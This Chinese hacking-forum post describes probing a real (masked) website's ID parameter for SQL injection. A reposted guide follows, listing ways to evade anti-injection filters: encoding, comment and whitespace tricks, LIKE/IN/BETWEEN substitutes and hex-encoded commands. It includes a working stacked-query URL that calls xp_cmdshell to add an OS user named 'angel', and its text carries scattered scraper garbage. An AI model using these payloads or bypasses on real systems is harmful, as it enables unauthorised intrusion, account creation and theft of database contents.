找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2193|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.1 h  Y+ ?0 X0 Y9 _2 s  j& v) j
http://www.xxx.cn/Article.asp?ID=117 and 1=19 N( K) i) l: y: |' j5 t
直接返回主页& s1 E6 H' ]5 S) k2 J: w, G
http://www.xxx.cn/Article.asp?ID=117 or 1=1
  }, ^) B3 s  C, E. p直接返回主页
+ N# j6 E3 h+ L; v+ R( \+ l. ghttp://www.xxx.cn/Article.asp?ID=117 or4 c5 L6 U; D8 I
没有返回主页 没有过滤or
" C6 A4 ~) c, y5 A8 {2 H: thttp://www.xxx.cn/Article.asp?ID=117 and9 f% R5 z; Y0 s8 W+ |
直接返回主页 看来过滤了and& z9 |& h7 r% D: v; X- c
http://www.xxx.cn/Article.asp?ID=117 or 12 l+ d* h1 X7 ]: P* K
没有返回主页 即没有过滤or 也没有过滤1
- L9 T/ ?. v$ Chttp://www.xxx.cn/Article.asp?ID=117 or 1=1
2 O5 Y( b" S! w$ D直接返回主页 很明显过滤了等号 ) ^9 L6 p: {" }
or的特性是与and相反的.
  \( d$ ~8 }! t( ^% |1 Sor 1=1 爆错 或与原页面不同! v2 U& V* `5 D' l
or 1=2 原页面相同( a* L8 W4 a8 l! _
这样就是一个注入点5 f$ l8 E& z: ^$ b# i1 _
但他过滤了=号 我就用><号代替=号吧!
# q0 P  U9 ?) a8 h" oor 1<2 很明显是正确的,所以应该与原页面不同3 b- \+ K& \$ I- B
or 1>2 很明显是错误的,所以应该与原页面相同3 I7 G2 I0 S: E9 B
然后看看有没有过滤其他的查询语句,比如select.
$ L8 K( t( z: n  P- V$ `, lhttp://www.xxx.cn/Article.asp?ID=117 select
+ o0 a: o: v; u( t! ^直接返回主页
" j2 y4 u4 X& C) ~8 N8 ~又迷茫了..9 S4 S$ F  j- K* ~" F% d3 _3 f3 f' N
& \2 h: H3 q6 Z4 s' M6 n( V
" W0 X6 |1 e) ~" _# S9 z
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗% R: j2 X9 u# K% T7 S& R$ D
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
1 a+ R; n7 @2 N. L' _6 Z; ]================================================
: h# _: h0 a/ I  j& ^( k以下是转贴:* B# L! ?* d6 T" Z  ^
/ z; C' m: H8 J& x
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
! I+ L5 w" N0 d# C经过我的收集,大部分的防注入程序都过滤了以下关键字:
" P/ g  V  o. Y  n( W' |; Hand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 4 O. @2 V9 A  M1 _  h. w
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 2 x0 W; K+ n6 U, W- Y, V7 F' ]
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
& h& T, q, S2 g  W+ ?3 ^1、运用编码技术绕过
/ s0 t& V5 ]7 y如URLEncode编码,ASCII编码绕过。例如or 1=1即
$ f$ U3 o% v% p$ [" j, @  ?%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 + W2 ^+ o  T% W2 s; r

& ]; s' `) B) u6 Y  [2、通过空格绕过
; Y+ E3 P# H+ V& K2 A如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
; g) f5 S. s- X- [  {1 A' `or’ swords’ =‘swords’
2 [- ~" R" ~/ `; z/ k) K' Z  Z# l; l,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
' |$ L- Y% T& n$ f! Z3、运用字符串判断代替 ; K) q9 Q7 U, K% \5 R% K( N2 e
用经典的or 1=1判断绕过,如
1 j) }& t( T: d- jor ’swords’ =’swords’ - u+ d, U2 l! m( g9 i
,这个方法就是网上在讨论的。 + j& P, N1 M8 j* h7 ^% u
4、通过类型转换修饰符N绕过 . S* P' a+ {7 J' [, V- l8 j
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
, ^4 E# _7 {" A5 L2 F. Q) Z1 H5、通过+号拆解字符串绕过 " e  E& @+ d' T) X6 c( M4 j
效果值得考证,但毕竟是一种方法。如 0 f9 q' s2 i9 U& n$ h, A/ z. _
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) . s9 x. g! F8 L( V7 \% ]' p

( `! m3 j3 J9 F0 v2 o% i6、通过LIKE绕过
% j. N5 C, ^1 [- s4 i% r$ V8 q. R以前怎么就没想到呢?如or , Y# ^; I" ~: r$ j: r$ R
’swords’ LIKE ’sw’ , T/ {# U( h& c. w& F- A4 H
!!!显然可以很轻松的绕过 3 d5 W8 B2 o! ]& k- V* L5 s7 C
“=”“>” 0 u/ F( d" }! j# N- l' F
的限制…… & m' i- g) y' S- k! W7 ^
7、通过IN绕过 # |, V* _: s! V% S# Q8 w6 b. k
与上面的LIKE的思路差不多,如 * D* e! C9 ?/ a/ X8 q
or ’swords’ IN (’swords’)
* E  ]- i  S3 X$ {; S! \. L
$ {7 }% S; v1 o6 [8、通过BETWEEN绕过 . [2 X3 o* |3 b( ]# a

+ e) P. _3 ~+ [" q4 F( hor ’swords’ BETWEEN ’rw’ AND ’tw’ 7 T/ |) I; ~0 z/ ?% W) c
) i% ~2 A2 W* K/ ~# {/ `
9、通过>或者<绕过
" d3 K/ d5 c7 t5 For ’swords’ > ’sw’ * r$ e1 p% x+ ~8 B
or ’swords’ < ’tw’ ' u' n/ t- Q8 h
or 1<3
+ K9 r/ y4 j" @) T……
# x7 Z  Z2 i& D10、运用注释语句绕过 ' Z" r6 H8 S/ x  q$ V! X! T  ?6 m6 x0 k
用/**/代替空格,如: 2 [, h: _+ O; j: U8 A( `
UNION /**/ Select /**/user,pwd,from tbluser ; ]9 [  e( o- M! D" ~! G: w' t- W' x

- W4 ?9 T) K; p) e$ n用/**/分割敏感词,如:
2 j( b2 l' N0 k9 J2 z$ K8 EU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser   @+ G& ~1 [, y6 s1 a5 O
. p( G4 o+ o6 W; v4 a
11、用HEX绕过,一般的IDS都无法检测出来
# v" Z2 U' s7 g& c0x730079007300610064006D0069006E00 =hex(sysadmin)
4 V2 K  N- X, a! ~+ a$ W. J0x640062005F006F0077006E0065007200 =hex(db_owner) 2 r( |0 C6 u5 t: w4 D
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
" b/ f9 j: P. t' Z7 |! e% G& T  declare @a sysname 1 g* Q8 Q. ]. o; Z8 X
  select @a= ( ]6 {2 m3 ~4 I2 S, R3 M& `
  exec master.dbo.xp_cmdshell @a
5 q! C1 A# Q2 A: }; h+ r效果 ; {! u3 _! d4 v% H
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
( h4 K9 U# ^* n3 T8 U' C" K3 g- E; A% @% k+ z& Q6 X
其中的   D8 }9 ~$ b2 l
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 & K6 ^8 v: z9 B9 a4 b
就是
0 y# n2 x4 G& b“net user angel pass /add”" U, l, U8 x, D4 Q! ^) u; Q, k

8 M2 M$ P0 r3 v/ L7 g, b. R一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
( f1 r+ g$ @# F  D+ U% ^1 U引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
9 x0 d- o+ j. W! ]: R+ f8 o另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
3 ~& s) i, T( w* y1 ?3 XCopy code; `4 p# k4 C7 e& y
select * from table exec xp_cmdshell'xxxxxxxxxx'
5 }1 G- I' m( B% g( M: r3 o. z! z

9 I6 N& V9 X* ?# uselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'' B4 E4 ~- u, L- R

7 x6 V0 @  X% W7 j( M3 ~6 H  e1 v! K
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
3 J) r' u+ k7 m
; D2 L) c8 a  `% H* n! K% W! g0 o) t- ~/ b' x5 ~1 q* H3 E5 A7 X9 y
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
; L; J- \6 h& ?$ s; u) x7 v6 T1 A. I! {1 H) Z
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?% E3 E" X: X$ q8 n' X
" B1 i- w" [$ k# F9 @
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
" _9 l+ ?) S. ^* r* Q可能大家早就知道了,不管怎么说,发在这里吧!, h/ c4 c1 c1 T; }/ n* y+ O0 |/ s& }: p

% |1 N+ g* `3 v* x& b最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
% b4 d  K* [& ~% b2 ?1 u; H& f  N  a5 ]
& k4 j/ x, M) I" X6 ^

6 p3 y, D8 ^) y" t/ M: D" O+ @! y: k) U8 t对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
. Y# J! A7 s1 h# S8 T- P比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
; b; d0 p: T# x0 m/ w7 v) z0 o& A+ E1 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表